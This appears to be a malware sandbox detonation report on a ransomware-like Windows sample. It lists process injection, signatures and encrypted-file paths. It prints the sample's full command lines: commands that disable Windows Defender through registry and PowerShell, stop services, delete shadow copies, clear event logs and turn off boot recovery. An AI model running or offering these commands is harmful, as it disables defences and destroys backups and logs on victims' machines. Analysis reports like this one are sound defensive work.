Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1572 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1796 wrote to memory of 576 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1796 wrote to memory of 576 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1796 wrote to memory of 576 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 368 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 368 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 368 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1408 wrote to memory of 1584 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1408 wrote to memory of 1584 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1408 wrote to memory of 1584 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1388 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1388 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1388 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1560 wrote to memory of 1448 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1560 wrote to memory of 1448 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1560 wrote to memory of 1448 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1836 wrote to memory of 1820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1836 wrote to memory of 1820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1836 wrote to memory of 1820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1052 wrote to memory of 1816 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1052 wrote to memory of 1816 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1052 wrote to memory of 1816 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1572 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1588 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1588 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1588 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1572 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1124 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1124 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1124 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1104 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 908 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 1572 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

N/A

Files

memory/1796-53-0x0000000000000000-mapping.dmp

memory/576-54-0x0000000000000000-mapping.dmp

memory/368-55-0x0000000000000000-mapping.dmp

memory/864-56-0x0000000000000000-mapping.dmp

memory/1408-57-0x0000000000000000-mapping.dmp

memory/1584-58-0x0000000000000000-mapping.dmp

memory/1388-59-0x0000000000000000-mapping.dmp

memory/1752-60-0x0000000000000000-mapping.dmp

memory/1560-61-0x0000000000000000-mapping.dmp

memory/1448-62-0x0000000000000000-mapping.dmp

memory/1836-63-0x0000000000000000-mapping.dmp

memory/1820-64-0x0000000000000000-mapping.dmp

memory/1052-65-0x0000000000000000-mapping.dmp

memory/1816-66-0x0000000000000000-mapping.dmp

memory/1524-67-0x0000000000000000-mapping.dmp

memory/1588-68-0x0000000000000000-mapping.dmp

memory/996-69-0x0000000000000000-mapping.dmp

memory/1260-70-0x0000000000000000-mapping.dmp

memory/1124-71-0x0000000000000000-mapping.dmp

memory/1104-72-0x0000000000000000-mapping.dmp

memory/908-73-0x0000000000000000-mapping.dmp

memory/1292-74-0x0000000000000000-mapping.dmp

memory/1596-75-0x0000000000000000-mapping.dmp

memory/1176-76-0x0000000000000000-mapping.dmp

memory/1468-77-0x0000000000000000-mapping.dmp

memory/860-78-0x0000000000000000-mapping.dmp

memory/1584-79-0x0000000000000000-mapping.dmp

memory/644-80-0x0000000000000000-mapping.dmp

memory/820-81-0x0000000000000000-mapping.dmp

memory/1932-82-0x0000000000000000-mapping.dmp

memory/1140-83-0x0000000000000000-mapping.dmp

memory/1160-84-0x0000000000000000-mapping.dmp

memory/1540-85-0x0000000000000000-mapping.dmp

memory/1612-86-0x0000000000000000-mapping.dmp

memory/1464-87-0x0000000000000000-mapping.dmp

memory/1704-88-0x0000000000000000-mapping.dmp

memory/972-89-0x0000000000000000-mapping.dmp

memory/1484-90-0x0000000000000000-mapping.dmp

memory/1616-91-0x0000000000000000-mapping.dmp

memory/668-92-0x0000000000000000-mapping.dmp

memory/560-93-0x0000000000000000-mapping.dmp

memory/1064-94-0x0000000000000000-mapping.dmp

memory/1608-95-0x0000000000000000-mapping.dmp

memory/1520-96-0x0000000000000000-mapping.dmp

memory/108-97-0x0000000000000000-mapping.dmp

memory/2044-98-0x0000000000000000-mapping.dmp

memory/1460-99-0x0000000000000000-mapping.dmp

memory/1600-100-0x0000000000000000-mapping.dmp

memory/892-101-0x0000000000000000-mapping.dmp

memory/544-102-0x0000000000000000-mapping.dmp

memory/1640-103-0x0000000000000000-mapping.dmp

memory/1832-104-0x0000000000000000-mapping.dmp

memory/1508-105-0x0000000000000000-mapping.dmp

memory/924-106-0x0000000000000000-mapping.dmp

memory/1692-107-0x0000000000000000-mapping.dmp

memory/536-108-0x0000000000000000-mapping.dmp

memory/1648-109-0x0000000000000000-mapping.dmp

memory/1588-110-0x0000000000000000-mapping.dmp

memory/240-111-0x0000000000000000-mapping.dmp

memory/240-112-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

memory/864-113-0x0000000000000000-mapping.dmp

memory/1908-115-0x0000000000000000-mapping.dmp

memory/1108-117-0x0000000000000000-mapping.dmp

memory/584-118-0x0000000000000000-mapping.dmp

memory/2068-119-0x0000000000000000-mapping.dmp

memory/2168-123-0x00000000028A2000-0x00000000028A4000-memory.dmp

memory/2168-124-0x00000000028A4000-0x00000000028A7000-memory.dmp

memory/2168-122-0x00000000028A0000-0x00000000028A2000-memory.dmp

memory/2168-121-0x000007FEF2830000-0x000007FEF338D000-memory.dmp

memory/2168-125-0x000000001B710000-0x000000001BA0F000-memory.dmp

memory/2168-126-0x00000000028AB000-0x00000000028CA000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6360a06b3d4c4c25751261ee8344d003
SHA1 0d22d117921e5722a5c4d5821023a49eb1e8e51b
SHA256 9b8d58886f8a6e896c97c37a048bce003b9ace4a90ac46007c39d859569cf03e
SHA512 790b27a4c35e3c6764b033b0ebd21ccd1b87ddfeeb65a4b067192305feb7cc7189947d9a9243905f5d80131a2262ac04430f7f146de4f5d130e0b81478b3e555

memory/2264-129-0x000007FEF1E90000-0x000007FEF29ED000-memory.dmp

memory/2264-130-0x0000000002740000-0x0000000002742000-memory.dmp

memory/2264-131-0x0000000002742000-0x0000000002744000-memory.dmp

memory/2264-132-0x0000000002744000-0x0000000002747000-memory.dmp

memory/2264-133-0x000000000274B000-0x000000000276A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 19:26

Reported

2022-01-12 19:31

Platform

win10-en-20211208

Max time kernel

180s

Max time network

197s

Command Line

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\8268_24x24x32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\css\main-selector.css.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_f_1wMDVBoXs0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial-ul-oob.xrm-ms.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_v7PZJsPyMFc0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL111.XML.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_a6Rm77wQty40.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.contrast-white_targetsize-20.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\classlist.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_1kRFEME2wvA0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Icons\credits.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.ecore.xmi_2.10.1.v20140901-1043.jar.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_VIorrmtPhA80.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\en-US\EppManifest.dll.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\dependentlibs.list.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_5WCd0wk-N5o0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNotePageLargeTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js.r-yMo1buHF41f5I656d1PBcs9ld7COHMVdY2G2_e-7v_eXeCaIY4gDY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
